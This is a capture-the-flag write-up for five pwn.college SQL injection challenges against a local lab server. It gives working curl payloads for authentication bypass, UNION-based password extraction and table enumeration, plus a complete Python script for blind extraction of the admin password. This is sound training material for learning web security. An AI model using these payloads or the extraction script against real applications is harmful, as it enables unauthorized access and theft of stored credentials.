PwnCollege - SQL Injection

sqli 1 - auth bypass

two approaches: comment out password check, or OR 1=1:

1
2
3
4
5
curl -L -c /tmp/cookie.txt -b /tmp/cookie.txt \
-d "uid=admin' --" -d "pin=1" "http://challenge.localhost:80/logon"
# or
curl -L -c /tmp/cookie.txt -b /tmp/cookie.txt \
-d "uid=admin" -d "pin=1 or 1=1" "http://challenge.localhost:80/logon"

sqli 2 - auth bypass

1
2
curl -L -c /tmp/cookie.txt -b /tmp/cookie.txt \
-d "account-name=admin" -d "pass=1' or 1=1 --" "http://challenge.localhost:80/portal"

sqli 3 - UNION-based extraction

1
SELECT username FROM users WHERE username LIKE """" UNION SELECT password FROM users --"
1
2
curl -G "http://challenge.localhost:80/" \
--data-urlencode 'query=" UNION SELECT password FROM users --'

sqli 4 - table enumeration + UNION

enumerate table names first, then extract:

1
2
3
4
5
6
7
8
# find table name
curl -G "http://challenge.localhost:80/" \
--data-urlencode 'query=" UNION SELECT name FROM sqlite_master WHERE type="table" --'
# -> users_8141651746

# extract password from discovered table
curl -G "http://challenge.localhost:80/" \
--data-urlencode 'query=" UNION SELECT password FROM users_8141651746 --'

sqli 5 - blind SQLi

vulnerable query uses f-string interpolation:

1
2
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND password = '{ password }'"
user = db.execute(query).fetchone()

admin’s password is the flag. no direct output – need blind extraction.

naive attempt fails because AND has higher precedence than OR:

1
2
3
# password=' or substr(password,1,1)='p' --
# parses as: (username='admin' AND password='') OR (substr(...)='p')
# this matches ANY user when substr is true, not just admin

blind extraction script – check one char at a time, OR username='admin' AND substr(...) ensures we only match admin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
import string
import requests

url = "http://challenge.localhost:80/"
charset = string.printable.strip()

def blind_sql():
result = ""
for pos in range(1, 60):
for char in charset:
payload = f"' OR username='admin' AND substr(password,{pos},1)='{char}' --"
resp = requests.post(url, data={"username": "admin", "password": payload}, timeout=5)
if resp.status_code != 403 and resp.status_code != 500:
result += char
print(f" [+] Current extracted: {result}")
break
return result

if __name__ == "__main__":
print(f" [+] Extracted: {blind_sql()}")